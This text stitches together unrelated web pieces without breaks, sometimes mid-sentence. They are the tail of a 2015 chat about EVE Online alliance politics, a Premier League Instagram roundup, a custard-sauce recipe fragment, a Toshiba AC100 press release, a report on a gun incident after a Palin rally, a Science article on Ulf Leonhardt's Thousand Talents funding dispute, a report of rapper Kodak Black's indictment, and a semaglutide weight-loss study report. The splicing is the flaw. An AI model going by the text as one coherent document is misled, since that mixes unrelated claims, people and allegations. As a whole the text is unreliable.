alliance profits being laundered through a site to provide capital for a business [22/11/2015 22:46:04] Dave / Xander: and yeah, if you think you are shielding your members then aye, that's a totally reasonable reason to stay [22/11/2015 22:46:18] Dave / Xander: aye, that's a totally different kettle of fish [22/11/2015 22:46:24] Endie H: and I gather that there is something even more directly RMTish with harat funding the business in return for being accepted, but I don't know the details [22/11/2015 22:46:42] Dave / Xander: harat? [22/11/2015 22:47:02] Endie H: http://evemaps.dotlan.net/corp/House_Aratus [22/11/2015 22:47:24] Endie H: I certainly remember that they were smuggled in in a very strange way [22/11/2015 22:47:28] Endie H: them and one other corp [22/11/2015 22:47:36] Dave / Xander: oh wow, they bought membership by offering to pay TMC's ISK bill? [22/11/2015 22:47:42] Dave / Xander: ha, that's amazing [22/11/2015 22:47:55] Endie H: Them and Hogyoku I suspect [22/11/2015 22:48:29] Endie H: Not sure what the payment was, but it was secret enough to be kept from white knight types like me until someone let it slip on my last day [22/11/2015 22:49:03] Dave / Xander: oh wow, so it was kept secret for you even while you were still officially in the driving seat? [22/11/2015 22:49:17] Endie H: Yeah [22/11/2015 22:49:20] Dave / Xander: ha [22/11/2015 22:49:29] Endie H: People knew I was the annoyingly principled one [22/11/2015 22:49:32] Dave / Xander: man, Sion must hate you almost as much as me [22/11/2015 22:49:43] Dave / Xander: arguing the party line internally and such [22/11/2015 22:49:52] Endie H: I don't imagine I am on his Christmas card list [22/11/2015 22:50:36] Dave / Xander: Alex seems to think the sun shines out his arse so yeah [22/11/2015 22:50:46] Endie H: Like I said, Bormann [22/11/2015 22:50:59] Endie H: undeniably hard-working, efficient, and never says no [22/11/2015 22:52:56] Dave / Xander: meh, I have to admit, I kinda admire the sheer chutzpah of Alex [22/11/2015 22:53:08] Dave / Xander: he's attempting to cash out [22/11/2015 22:53:09] Dave / Xander: kudos [22/11/2015 22:53:23] Dave / Xander: it speaks poorly of any future legacy for GSF in Eve though [22/11/2015 22:53:40] Endie H: They are deeply concerned about the future of GSF in eve [22/11/2015 22:53:47] Endie H: that is their cash cow for the foreseeable future [22/11/2015 22:54:14] Dave / Xander: if they were that concerned perhaps they would be dialling back a little to allow for a future [22/11/2015 22:54:18] Endie H: Their problem is that the things that would be good for gsf would put their business model at risk [22/11/2015 22:55:32] Dave / Xander: ah well [22/11/2015 22:55:38] Dave / Xander: see how this article goes down tomorrow [22/11/2015 22:55:47] Endie H: Make sure it goes on reddit [22/11/2015 22:55:55] Dave / Xander: sure we'll be destroyed by the usual crowd [22/11/2015 22:55:56] Dave / Xander: we will [22/11/2015 22:55:59] Endie H: because exposure will be everything and I rarely see cz stuff [22/11/2015 22:56:14] Endie H: it's a welcoming audience right now [22/11/2015 22:56:24] Dave / Xander: hm, we always post everything up there but it often gets downvoted into oblivion quickly [22/11/2015 22:56:36] Dave / Xander: but yeah, I'll make sure we reddit the shit out of it [22/11/2015 22:57:04] Endie H: Anyway, work in a few hours [22/11/2015 22:57:05] Dave / Xander: anyway, my bed time. We just moved house on Friday so this weekend has been insane. [22/11/2015 22:57:08] Dave / Xander: ha yeah [22/11/2015 22:57:10] Endie H: Good luck! [22/11/2015 22:57:23] Dave / Xander: speak later. thanks for the chat and don't be a stranger dude [22/11/2015 22:57:24] Endie H: And do let me know when you are in the burgh [22/11/2015 22:57:27] Dave / Xander: will do [22/11/2015 22:57:31] Dave / Xander: Fanfest next year? [22/11/2015 22:57:33] Dave / Xander: any chance? [22/11/2015 22:57:39] Endie H: not really [22/11/2015 22:57:44] Dave / Xander: :( [22/11/2015 22:57:54] Dave / Xander: we should pint next time I am down your end of the woods then [22/11/2015 22:58:25] Dave / Xander: anyway, I am being summoned by She Who Must Be Obeyed [22/11/2015 22:58:27] Dave / Xander: niniI am wagering come Sunday 11 pm local time, most of us who religiously follow the English Premier League would either call dips on the television or flock to our favorite sports bar. I mean, why wouldn’t we? Even if Chelsea managed to pull ahead, there is still much excitement further down the table.
Arsenal for one is facing off Manchester United this Sunday. It’s certainly a big test for Arsene Wenger and his team but if there is ever a time to prove that a top four finish is Arsenal’s birthright, this will be the time.
With so much action going on, the good folks at Popular Chips decided to explore the next best thing. The top 4 EPL teams and their players on Instagram. Complete with our very own Premier League ‘Instagram’ Table!
Let’s check out their best performing posts for the past year, shall we?
He wins it! Gabriel Jesus grabs a late goal to get City the win 2-1! #mcfc #mancity #manchestercity A post shared by Manchester City (@mancity) on Feb 5, 2017 at 7:25am PST
Felicitaciones amigo. ⚽⚽⚽ + ⚽??? A post shared by Sergio Leonel Agüero (@10aguerosergiokun) on Jun 10, 2016 at 8:53pm PDT
WHAT A GOAL! @hazardeden_10.???Chelsea 2-0 Arsenal!?#CFC #Chelsea A post shared by Chelsea FC – Official (@chelseafc) on Feb 4, 2017 at 6:04am PST
Some players should be playing forever! Idol for many generations!?? @andreapirlo21 A post shared by David Luiz (@davidluiz_4) on Dec 9, 2016 at 1:59pm PST
#Together #Arsenal #Gunners #Giroud #Ozil #Koscielny #Euro2016 A post shared by Arsenal |
whisk the mixture over heat until all the sugar is dissolved, but don’t let it boil. Using an instant read thermometer, bring the temperature to between 165F and 175F and that should do the trick. It will be thick and creamy. The rum is added after the cooking so it will still be smooth, but just a bit thinner. Add the rum to taste.
If you would rather a booze free sauce, make a simple vanilla custard sauce. A bread pudding with a vanilla custard sauce is equally nice. The recipe for the custard sauce is below.Finishing off the hat-trick of laptops, Toshiba's AC100 is their first machine to run on Android, and is shaping up to be a very tidy netbook with up to eight hours of battery, or up to SEVEN DAYS' standby life.
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Yep, seven days. It runs on an NVIDIA Tegra 250 chip, with an insy-winsy 512MB of DDR2 RAM, and 8GB NAND flash memory. The SD/MMC card reader will expand the storage so you can easily cart around more media if needed, and the 1.3MP webcam with microphone will get you using video-chatting apps once downloaded from the Market.
It's running Android 2.1 Eclair, and hardware-wise, has a 10.1-inch TruBrite screen with LED-backlighting, and 1,024 x 600 resolution. That could definitely be improved upon. It weighs 870g, and only has one USB port and one miniUSB, but there's also a HDMI port for connecting to TVs etc too. Bluetooth, Wi-Fi and optional 3G round it off.
Full details below in the press release, but if this AC100 has caught your eye you've got a tad more waiting to do—it goes on sale August.
London, UK, 21st June 2010 – Toshiba UK today introduces the stunning new AC100, a mobile internet device that combines the AndroidTM platform with NVIDIA® TegraTM processing technology. The AC100 is the ideal take-anywhere device for active users, allowing instant emailing, web browsing and document editing on the go.
The Toshiba AC100 is the ultimate device for simple, instant and efficient web use. Designed to be used whenever, wherever you are, the AC100 is instantly ready for action, offering up to seven days standby under mixed use, with a rapid start-up time of less than a second. In constant use the AC100 can provide up to eight hours of battery life, which combines with the intuitive full-size keyboard and compact clamshell form factor to offer a truly stunning mobile device.
Ultra-slim AC100 combines smartphone functionality with netbook usability AndroidTM platform makes browsing, networking and editing easy Up to seven days battery life in standby with instant-on capability
Take-anywhere design
The AC100 offers a stunning black and orange design that's easy to take anywhere, thanks to an ultra-light weight of just 870g. Measuring just 14mm at its thinnest point, the device is extraordinarily slim – making it easy to fit into any bag and carry around all day, every day. A 25.7cm (10.1") T oshiba TruBrite screen with LED backlighting offers outstanding reproduction of all on-screen content, and the full-size keyboard guarantees easy and comfortable typing – making it perfect for keeping in touch with friends via email or social networks.
Personalised mobile computing
The AC100 runs on the AndroidTM platform, enabling users to customise their device to suit their computing habits. Depending on location or what the AC100 is running, AndroidTM can automatically switch to a prefigured home screen to best suit the user. For example, users can set shortcuts for work-related applications, widgets and ‘live-files' to appear when working in the office, or personal applications and widgets to appear when the AC100 detects they are at home. Users can also manually switch between home screens as they wish – allowing them to access all of their content, wherever they are.
The intuitive user interface also offers the possibility for users to further personalise the device by downloading a range of applications and widgets on-demand. A number of applications are also pre-installed for immediate use out-of-the-box, including Documents to Go for viewing and editing Microsoft Office files, a POP3 email client, IMAP and Exchange support, a messaging client, Opera Mobile for browsing the web, and the Toshiba Media Player for playing and viewing video, music and pictures.
Mobile performance
The latest NVIDIA® TegraTM processing technology provides fast internet browsing speeds, with super-quick load times and instant rendering of complex pages. Advanced mobile graphics technology provides enhanced playback of multimedia content including video and mobile games, offering the perfect platform for enjoying entertainment on the move.
The latest wireless connectivity also enables the users to stay connected at all times. 802.11b/g/n Wi-Fi provides fast and rapid internet access from any wireless hotspot, and the
option of an integrated 3G module allows users to get on-demand Mobile Broadband connectivity from cellular networks for instant web connectivity, wherever they are1.
The AC100 is designed for the growing number of users that are storing content such as photographs, videos and documents on cloud based applications or virtual storage. 8GB of NAND Flash memory also provides users with fast, efficient and robust storage for their personal content. An integrated SD card slot also provides the ability to expand storage on- demand, or display images, documents and personal content. For users that want to output content, an integrated HDMI port provides simple connectivity to any HD ready screen or projector.
The Toshiba AC100 will be available from August 2010.
Specifications:
AndroidTM 2.1 NVIDIA® TegraTM 250 Mobile Processor (1GH, ARM) RAM: 512 MB DDR2 (333 MHz) 8GB flash storage (NAND) 25.7cm (10.1'') TruBrite® display with LED backlight, 1,024 x 600 pixels Bluetooth 2.1 +EDR*, WLAN (802.11 b/g/n), Mobile Broadband 1 x USB 2.0, 1x Mini USB, Card Reader (SD, MMC), Audio out/Mic in combo socket, HDMI® 1.3 MP webcam with integrated microphone Location based switchable desktop Toshiba Home Menu, a customisable desktop with widgets and shortcuts Size: 262mm x 190mm x 14 / 21mm Weight: starting at 870gA Sarah Palin supporter pulled a loaded handgun while leaving a campaign rally in Colorado on Monday! The armed Palin supporter reported waved the gun at another driver after the two got into a dispute while attempting to leave the event:
Heated words between drivers leaving Sarah Palin’s rally Monday allegedly escalated with one man brandishing a loaded handgun.
Jack B. Cheskaty, 62, of Grand Junction, said he pulled a handgun because "he wanted to be ready for anything" in what started as a verbal spat between drivers in bumper-to-bumper traffic leaving Lincoln Park around 8 p.m. Monday, according to an arrest affidavit.
Cheskaty and three family members were riding in a Chrysler, moving slowly in a line a traffic. A man behind the wheel of a Kia SUV attempted to inch in front of Cheskaty’s Chrysler, the affidavit said. [Glenwood Springs Post-Independent]In a hotel room on the sidelines of a conference in China in 2011, theoretical physicist Ulf Leonhardt says he got an offer that was too good to refuse. The Centre for Optical and Electromagnetic Research (COER) here at South China Normal University (SCNU) invited him to spend 3 months a year at the center. SCNU later agreed to pay him a monthly salary of 120,000 RMB ($19,300): three times greater than at his tenured position at the University of St. Andrews in the United Kingdom.
A prominent figure in theoretical physics who had made headlines by outlining a theoretical framework for an invisibility cloak, Leonhardt had no shortage of career prospects. But the offer from Guangzhou came at a moment when he was hard up for flexible funding that would allow him to travel and bring in visitors. And Leonhardt had watched, impressed, as China's huge investment in science had begun to reap dividends. Since his first visit in 2008, he'd noted “a really steep increase both in the quantity and quality” of papers in his field, he says. A longer stay made sense.
To supplement Leonhardt's COER salary, photonics expert Sailing He and colleagues at COER helped him apply to two government programs for attracting foreign talent: the Recruitment Program of Foreign Experts, or “Thousand Talents” plan, which offers a onetime 500,000 RMB ($81,642) resettlement subsidy for a minimum of 3 years of part-time work, and a program offshoot called the Guangdong Province Leading Talent grant, which brings an additional one-time subsidy of 1 million RMB plus up to 5 million RMB in research funds over 5 years. (The full-time Thousand Talents program, which Leonhardt did not participate in, includes research funding as well as a subsidy.)
Thousand Talents and similar programs had struggled to attract candidates of international caliber (Science, 31 July 2009, p. 534), and Leonhardt, who was applying at the peak of his career, seemed a shoo-in. By September 2012, he had snagged acceptances from both programs and had signed a 5-year contract with SCNU. The university offered his partner, Jana Silberg, a part-time job, too.
ILLUSTRATION: © DAVIDE BONAZZI
But Leonhardt and Silberg would come to suspect that a substantial portion of his grant money and the salary due to Silberg were being diverted to other uses. After hiring lawyers to investigate, they claim that they uncovered a web of misinformation, including incorrectly translated agreements and covert purchases of equipment at COER. “The fraud they committed was so brazen,” charges Leonhardt, who bailed out of his contract after spending just one summer in Guangzhou.
Sailing He denies that COER diverted any funds, and others at COER say that Leonhardt agreed up front to an arrangement in which the bulk of his grant would be administered by others. Sailing He calls Leonhardt ungrateful for COER's help in securing the lucrative arrangement: “He was getting $20,000 USD a month. He doesn't need to care about the details.”
At a time when China is spending heavily to recruit talented overseas scientists, the dispute between COER and Leonhardt is a cautionary tale. Interviews with other foreign-born recipients of Thousand Talents awards reveal that host institutions in several instances have seized the reins, controlling everything from the application process to grant administration. Among Thousand Talents awardees interviewed by Science, ignorance of the program's nuts and bolts—even at the most basic level, such as the amount of money they are due—is the norm.
Both sides in the dispute blame the other for failing to live up to expectations. Sailing He says it boils down to cultural differences: “In China, you have to be flexible,” he says. Things are “not always [done] according to the regulations. But it's not with bad intentions.”
BORN IN SCHLEMA, in former East Germany, Leonhardt, 49, studied at Humboldt University in Berlin and elsewhere before moving over to the University of St. Andrews. (He now works at the Weizmann Institute of Science in Rehovot, Israel.) His theoretical research focuses on novel optical effects such as so-called transformation optics—bending light in curious ways with metamaterials, or assemblages of rods and rings smaller than a wavelength of electromagnetic radiation. In 2006, he showed how metamaterials could be fashioned into a circular shell capable of funneling light around any object placed inside, rendering it invisible—as did, independently, John Pendry of Imperial College London and colleagues (Science, 23 June 2006, pp. 1777 and 1780).
Since then, Leonhardt has continued to study other novel optical phenomena, such as making an analog of a white hole—sort of the opposite of a black hole—in an optical fiber (Science, 7 March 2008, p. 1321). “Leonhardt is definitely one of the top scientists in our field,” says Xiang Zhang, a physicist at the University of California, Berkeley.
Sailing He, meanwhile, had made a name for himself in photonics, the effort to develop technologies that manipulate light much as electronic devices control the flow of electricity. Like many talented Chinese researchers, he left the country in the 1980s to study overseas. In 1992, he earned a Ph.D. from the Royal Institute of Technology in Stockholm, and in 1996 he received tenure and Swedish citizenship. Since then, He has authored or co-authored more than 400 peer-reviewed publications.
COER was “smuggling in an alien research project in the grant proposal they wrote in my name.” Ulf Leonhardt, Weizmann Institute of Science PHOTO: WEIZMANN INSTITUTE OF SCIENCE
In 1999, He returned to China as one of the first recruits under the prestigious Changjiang Scholars Program, which entitled him to a premium-level salary at Zhejiang University in Hangzhou and optional research funding. He took advantage of his pedigree to build crucial ties overseas, boasting of importing international standards to China: “With finances we use a transparent style of administration, dropping the bad habits of the past,” he wrote in an article published on Zhejiang University's website in 2001.
In 2011, He took a part-time post at SCNU, devoting himself to the newly created COER. Early on, the center landed a respected Swedish couple as part-timers: physicist Sune Svanberg, an expert in spectrometry, and oncologist Katarina Svanberg, who studies laser light interactions in biological tissue. The center's staff also includes physicist Liu Liu, a recipient of a Young Thousand Talents award, which is available to scientists under age 40. In recruiting Leonhardt, Sailing He told Science that he hoped to “raise the local level of research in metamaterials.”
In August 2011, He and colleagues at COER began assembling application materials for Leonhardt's Thousand Talents and Leading Talent submissions. (Science reviewed documents and e-mails provided by COER and by Leonhardt.) Ma Yungui, who works with He at Zhejiang University, says he wrote most of the two applications, which were in Chinese. Leonhardt says the center never sent him either the Chinese version or an English translation of either document (COER says he never asked); he later obtained the Leading Talent application through his lawyers.
In July and September 2012, after Leonhardt won acceptance to both programs, he and Silberg signed contracts with SCNU. She was hired as an assistant in international affairs for COER during the 3 months of the year that the couple would spend in Guangzhou. Leonhardt's contract specified that he was to “publish some high quality papers in top journals (like Science, Nature, or Nature series) with the first affiliation of COER.”
Leonhardt's contract is bilingual, with English and Chinese versions of clauses side by side. But the versions differ in content: Silberg, who has a Ph.D. in business administration and is accustomed to scrutinizing such documents, spotted a numeral in the Chinese version that was missing from the English: 6. In fact, the Chinese document contained an extra clause stating that Leonhardt's “total amount of time” working for the center would “reach 6 months”: 3 months in Guangzhou and 3 months overseas. The English version said the work abroad was “limited to” 3 months, on top of the 3 months in Guangzhou. It did not mention 6 months. Leonhardt and Silberg asked He to remove the extraneous clause from the Chinese contract, and after what they describe as a heated debate, COER offered Leonhardt an amended contract.
Copies of the second contract show that COER inserted a statement saying that the English text would take precedence over the Chinese version. But the center did not delete the disputed clause, instead merely replacing the Roman numeral 6 with the Chinese character. The clause was likely inserted to maintain the Leading Talent grant, which does not offer a short-term option; the minimum time commitment required by the grant is 6 months.
Leonhardt would later learn that the contract had other inconsistencies. It mentioned the 1 million RMB ($164,000) resettlement subsidy from the Leading Talent award but omitted the additional subsidy due to him from the Thousand Talents program. Liu, the young researcher at COER, wrote in an e-mail to Science that the center didn't address the subsidy in the contract because “we did not know” that the short-term Thousand Talents program included a subsidy. COER told Science in an e-mail that Leonhardt “should be able to find out all the details pertinent to this title by himself.” In a subsequent e-mail to Science, COER said it was Leonhardt's idea to apply for the Thousand Talents grant and that COER professors merely helped him as a favor.
THE THOUSAND TALENTS plan, or Qianren Jihua—aimed at recruiting up to 2000 leading scientists, entrepreneurs, and financial experts over 5 to 10 years—was launched in 2008 by the Communist Party of China's powerful Organization Department. With the party backing the program, provincial governments dove in, setting targets for the number of recipients they would attract and starting competitive local programs like the Leading Talent award. “If a guy becomes a Thousand Talent, there are cases where that guy is getting multiple local benefits—local incentives, local grants,” says Wang Huiyao, director of the Center for China & Globalization (CCG) in Beijing.
As an incentive for recruiting scholars, some universities are also given rewards, says David Zweig, a political scientist at the Hong Kong University of Science and Technology who studies the international flow of talent. At one university in northern China, attracting a recipient for either the full-time or part-time Thousand Talents program earns the institution 12 million RMB ($1.96 million), according to a paper Zweig and Wang published in The China Quarterly in September 2013. A portion of that payment is supposed to go to salary for the recruited scholar, with the rest distributed to other faculty. Some local talent programs, meanwhile, offer an 8 million RMB ($1.31 million) payment to universities that recruit full-time candidates, Zweig and Wang found.
Despite such incentives, the program has struggled. Scholars who hold tenured positions in Europe or North America are unlikely to drop everything to take on full-time 5-year contracts in China, notes Cong Cao, an expert on Chinese science policy at the University of Nottingham in the United Kingdom: “That's something wrong with the program design from the beginning.” As a result, some institutions resort to recruiting scholars already in China. Others hire scientists with full-time commitments overseas, and then assure them that no one will strictly review their time sheets, Cao says. Some scholars “drop in for 2 weeks of the year, and that's it,” says Neil Foster, a chemical engineer at the University of New South Wales in Sydney, Australia, who in 2010 received a Thousand Talents award to work part-time at the Beijing University of Chemical Technology.
The scope for abuses grew as the Thousand Talents program, which originally landed mainly high-profile overseas Chinese, cast a wider net. In 2011, the Organization Department launched the Recruitment Program of Foreign Experts and published program requirements—but not application materials—in English. Many candidates now don't speak or read Chinese. According to Cao, that could allow institutions to cheat the government “without the knowledge of the person they are going to hire.”
COER AND SILBERG originally agreed that her salary would be paid monthly, even when she wasn't in Guangzhou. But in November 2012, 2 months after her contract began, she still had not received any money. Earlier, Wendy Huang, COER's administrative assistant, had written Leonhardt that the university's personnel department had decided not to pay Silberg until she was in Guangzhou and that Huang was “too busy” with an upcoming conference to help with the situation right away. Now Leonhardt raised the issue again.
Sailing He chimed in by e-mail to say he had a “quick solution” and suggested that he and Leonhardt hash out the details on Skype. In that call, Leonhardt says the Chinese scientist explained that he had a sum of money that might be used to pay Silberg. (Sailing He denies this.) Soon after, He e-mailed Huang instructions to have 500,000 RMB ($81,637) transferred to Leonhardt's bank account. Sailing He called the sum a “tax-free subsidy” but did not explain in the e-mail that it was the resettlement money owed Leonhardt under the Thousand Talents award.
Silberg and Leonhardt were confused. Her contract prescribed a salary of 80,000 RMB ($13,061) a year; even if COER were to pay her for all 5 years at once, she would be due only 400,000 RMB ($65,303), and that would have been taxable. “We did not want to take it,” Leonhardt recalls. “It smelled very unkosher.” But he hadn't yet received his resettlement subsidy from the Leading Talent award, and he says they needed the money. In December 2012, he e-mailed Sailing He that he would accept the money only as “an advance on the housing payment” from the Leading Talent grant. Sailing He emailed that Silberg “will get whatever is in the contract, missing nothing. One needs to be a bit flexible in China in order to fix things effectively (instead of spending too much time/effort on it).” Leonhardt received his Leading Talent subsidy in December, and about 2 months later, he returned the money as promised, transferring it to Huang's account on her instructions.
In June 2013, Silberg and Leonhardt arrived in Guangzhou for 9 weeks of work, a period that also included lectures and conferences elsewhere in Asia. Leonhardt describes the research environment at the institute that houses COER as uninspiring. Apart from one team working on optical fibers for linking supercomputers and the work done by the Svanbergs, the institute appeared moribund, he says: “I'd see students in seminars, and they were falling asleep.” But his hosts had reason to be pleased. The month he arrived, Leonhardt published an article in Nature's “News & Views” section, commenting on the cloaking of heat and listing COER as his primary affiliation, as his contract required. SCNU plugged the piece on its website, calling it the “first paper published in Nature” to prominently name the university, and later including it as one of the university's top 10 “big research achievements” of 2013.
DURING HIS TIME IN GUANGZHOU, Leonhardt planned to work on the theory of Casimir forces, a strange pull or push between two closely spaced objects that arises because of quantum mechanical fluctuations in the vacuum of empty space. He thought much of the 5 million RMB research funding he was due from the Leading Talent program would go to paying his salary and overhead. That would leave up to 1.5 million RMB ($244,917) in funding for traveling and hosting visitors in connection with this theoretical research.
In fact, Leonhardt was paid out of COER's budget, as is standard with China's foreign-talent programs. That left up to 3.5 million RMB ($571,508) in research funds for other uses. The Chinese version of a document he had signed the year before had given Jun Li, the center's deputy director for administration, wide-ranging authority to spend Leonhardt's funding on equipment whenever he was away from Guangzhou. Yet the English translation COER gave Leonhardt stated only that Li would be able to “sign some papers about financial affairs for my funding when I am out for business.” (COER says the Chinese and English versions are legally equivalent.)
In December 2012, COER ordered a linear motor stage and controller, monochromators, lasers, and four laptop computers—for a total of $116,741—using Leonhardt's Leading Talent research money. Leonhardt says that he didn't need any of the equipment for his planned theoretical work.
A document that Li gave Science includes a slide that shows Leonhardt heading up a team of four researchers and explains that one of the laptops, along with several other computers, workstations, and a printer that the center later purchased, were for these scientists, who would together work on “Casimir force, etc.” The label on the slide itself refers to a different line of research, metamaterials, and Liu, one of the scientists pictured in the presentation, laughed when asked about the project: “I don't know anything about Casimir forces.”
The introduction to Leonhardt's Leading Talent application in Chinese describes, along with cloaking, a very different line of research: military stealth technology. “At microwaves and other low-frequency waves, absorbent materials can lower the scattering of electromagnetic waves for aircraft and other military targets, so as to achieve antiradar stealth,” it reads. The application goes on to suggest that such research is based on transformation optics. In fact, absorption is effectively the enemy of many applications of transformation optics—cloaking in particular. Cloaking aims to funnel light around an object. Absorption, which Leonhardt does not study, subverts that process by making the cloak cast a shadow.
Leonhardt charges that COER was “smuggling in an alien research project in the grant proposal they wrote in my name.” A budget estimate prepared for the Leading Talent project suggests that fully 2.7 million RMB ($440,826) of his 5 million RMB in research funds would be spent on equipment for applied research topics outlined in the Leading Talent proposal: “super-resolution display and metamaterials,” including spectroscopic tools. Leonhardt says he saw neither the application nor the budget estimate until his lawyers procured them and that he assumed the entire grant would focus on theoretical research. (Since this story first appeared, however, Science has learned that Leonhardt received a first draft of a PowerPoint presentation about the grant proposal, prepared on his behalf. Leonhardt also helped present the slides to a committee in Beijing.)
COER has a different take. An e-mail from Huang on behalf of COER says that, “Even though Ulf is the PI [principal investigator] for the leading talent project, this project is a team work requiring both his theoretical part and the experimental efforts from some COER full-time faculty members.”
Leonhardt suspects that the Leading Talent documents emphasize absorption and spectroscopy because that is what Sailing He studies. This past July, for example, He and colleagues described in Applied Physics Letters a metamaterial coating that works as a perfect absorber of microwaves of a particular frequency. “They seem to have sold me to the Chinese military, like a Greek slave to the Roman legions in a different era,” Leonhardt contends.
SCNU professor Ao Xianyu, writing on behalf of COER, says that work on absorption and cloaking aren't really so disparate, arguing that the mathematical tools of transformation optics are applicable to designing better absorbers. Ao also says that the work on absorbers was included in the Leading Talent proposal to satisfy a requirement to produce something that could be commercialized. “Otherwise, there is no chance to get this project approved at all,” Ao says. “Leonhardt knew this reason quite well and agreed to this from the draft preparation to the final presentation.”
Leonhardt insists he never saw a draft. When he began to have concerns, he e-mailed administrators for both programs, along with officials at the Ministry of Science and Technology; the Chinese Academy of Sciences; the Central Commission for Discipline Inspection, the Communist Party's anticorruption watchdog; and the National Natural Science Foundation of China. None responded directly to him, he says.
Representatives of the Leading Talent program reached by phone by Science declined to discuss the details of Leonhardt's grant, which was canceled on 9 October. The State Administration of Foreign Experts Affairs (SAFEA), which administers the Thousand Talents program for the Organization Department, did not respond to repeated interview requests.
Interviews with other foreign Thousand Talents recipients suggest that ignorance of award conditions is common. For example, Geoff Gadd, a geomicrobiologist at the University of Dundee in the United Kingdom, who has a part-time award for work at the Xinjiang Institute of Ecology and Geography in Urumqi, wrote Science that he has not received a resettlement subsidy or any information about the program in English. “I am not sure who administers the grant,” Gadd wrote. “I received no details about this kind of thing.” Fuel cell expert Subhash Singhal, a fellow emeritus at the Pacific Northwest National Laboratory in Richland, Washington, says he had a similar experience at the China University of Mining and Technology in Beijing, where he received a short-term Thousand Talents award: “[With] the grant process, I had absolutely no idea what they were doing or how they were doing it.” His host institution's lack of transparency about award money issued in his name would probably deter him from returning to China, he says.
Several grant recipients say that the program has proven fruitful, and they were keen to renew the terms of their stay in China. “The networking is going to be long-term huge for me,” says Michael Arnold, who received a Thousand Talents grant to work at the Kunming Institute of Zoology. “I can just see ripples going out through the rest of my career.” But even those who were happy with their experience were not clued in to grant administration. Four out of the five researchers interviewed by Science say that they did not receive a resettlement subsidy. Foster says he received no money at all; his university in China paid for his accommodation, but he did not earn a salary and says he “didn't claim” a subsidy.
A PowerPoint presentation prepared to accompany Leonhardt's Leading Talent grant application depicts a research team that he says didn't exist. CREDIT: COURTESY OF COER
CCG's Wang concedes that the program has had growing pains. “There could be problems, there could be fake [scholars], there could be scandals.” But he maintains, “The general picture and the message they're sending to attract talent is good.”
WHEN ASKED ABOUT Leonhardt's allegations, other foreign scientists who work with Sailing He profess disbelief. Sune Svanberg says he and his wife felt “very appreciated” at COER: “We never felt that anything was different from what was said. I'm just astonished that something like this would develop.”
Sailing He and others insist the dispute boils down to a personality conflict. They note that Leonhardt sued the University of St. Andrews in 2013 over pay for vacation days he never took. Leonhardt responds that his claim was justified, and he received compensation for most of the days. (The University of St. Andrews declined to comment, citing privacy laws.)
Leonhardt and Silberg never returned to China for the second year of their 5-year terms. For months, they tried through lawyers to figure out what exactly had happened with the grant money due to Leonhardt, while attempting to terminate their contracts. Last December, COER still hoped to woo Leonhardt back; in an e-mail, Sailing He offered him a sum equal to the amount spent on the disputed equipment for “whatever equipment you tell SCNU to buy.” Leonhardt refused. SCNU terminated their contracts in June.
COER now argues that Leonhardt was not in Guangzhou for the amount of time agreed upon in his contract, that he tried to abuse his travel funds while at SCNU, and that “he did not show any interest or intent in either building a lab or a research group,” Li wrote in an e-mail. “Introducing [Leonhardt] to South China Normal University was the biggest mistake of my academic career,” says Sailing He, who recently proposed to SAFEA that the Thousand Talents program dole out the resettlement subsidy over the course of a grant, rather than provide a lump sum up front.
Early last month, COER sent Science Leonhardt's Thousand Talents application, which Leonhardt had tried in vain to obtain through his lawyers. The date on the application—18 August 2011—predates his initial trip to Guangzhou to discuss the award. The document, in Chinese, describes research on Casimir forces, which Leonhardt says he didn't suggest until a year after the application was purportedly submitted.
Leonhardt suspects the document is a fake. COER acknowledges it doctored the date because it submitted the application after the deadline passed, but the center says the file is genuine except for the submission date. It maintains that its researchers prepared the document at Leonhardt's request as a “personal favor.” In an e-mail to Science, Li explained it this way: “We were just passively helping him.”
Correction (23 April 2015): Since this article appeared, we have learned that it contains several inaccuracies concerning the timing of events and the details of the grants and contracts. We have corrected these, clarified other language, and removed an illustration that was open to misinterpretation. For further details, see the editor's note and letter to the editor.The Florida rapper has been charged with the crime following an incident in South Carolina in 2016
Rapper Kodak Black has been indicted on charges of first degree sexual assault. The musician, real name Dieuson Octave, was arrested for the crime in November last year and was formally charged on Monday, Twelfth Circuit solicitor Ed Clements revealed to local news station WPDE.
According to Florence County sheriff’s office the assault is alleged to have taken place in February 2016 at the Comfort Inn and Suites in Florence County, South Carolina following Octave’s show at the Treasure City nightclub. The victim, a teenage girl, is said to have initially reported the assault to her school nurse. According to Clements, if convicted, Octave could face up to 30 years in prison.
XXXTentacion's domestic abuse trial delayed Read more
Twenty-year-old Octave, whose debut album Painting Pictures was released in March and debuted at No 3 in the US Billboard charts, has been charged with various offences over the past two years, including possession of a weapon, armed robbery and false imprisonment. In September 2016, Octave was sentenced to four months in jail for drugs charges. In May, Octave was charged with breaking house arrest and sentenced to 364 days in prison. He was released early this June after completing a life skills course.A drug that targets the appetite control system in the brain could bring about significant weight loss in people with clinical obesity, according to new research.
On average, people lost 5kg (11lbs) over a 12 week period after receiving weekly doses of semaglutide, a drug currently being developed as a treatment for diabetes.
Most of the weight loss came from a reduction in body fat, researchers at the University of Leeds found, after reviewing its effectiveness.
The drug reduced food cravings, with people choosing to eat smaller meals and decreasing their preferences for foods with a higher fat content. Targets appetite sensors The study - which was separate to the trials required for semaglutide to be licensed for use - was undertaken to determine how the drug was bringing about weight loss. For the first time, scientists saw the benefit of very specific targeting of receptors or sensors that could affect multiple components of the brains appetite control system.
John Blundell, Professor of Psycho-Biology at the University of Leeds and lead researcher, said: What was striking was the potency of the drugs action. We saw results in 12 weeks which may take as long as six months with other anti-obesity medication.
The drug reduced hunger but also cravings for food and the sensation of wanting to eat and these had previously been thought to stem from different parts of the brain.
The research has been published in the journal Diabetes, Obesity and Metabolism.
Reduces feelings of hunger Semaglutide is a new drug being developed by the Danish pharmaceutical company Novo Nordisk as a treatment for diabetes.
Its chemical structure is very similar to the naturally-occurring hormone GLP-1 which is believed to act on the appetite control centre in the hypothalamus in the brain to reduce feelings of hunger.
Given the close similarity between semaglutide and the bodys own appetite-control chemical, the study set out to examine whether the drug could also be used to tackle obesity by acting on the brains appetite control receptors.
Professor Blundell said: The potency of the drug is probably due to the action of the GLP-1 protein receptors on broad aspects of the appetite control system including hunger, craving and rewarding aspects of food.
In the study, the drug was given to 28 people with a body mass index (BMI) range of 30 to 45 kg/m2 meaning they were very overweight with a lot of body fat.
The participants were split in two groups half got semaglutide and the other half a placebo substance for 12 weeks. They did not know what they were getting.
At the end of the 12 weeks, they were invited into a testing centre and offered a lunch and evening meal and told to consume as much as they needed to feel pleasantly full. What they were eating was recorded, along with food preferences and their sensations of liking and wanting food. Body weight and body composition the percentage of body fat were also recorded. Energy intake reduced
They then repeated the process, with participants who got semaglutide this time getting the placebo and vice versa.
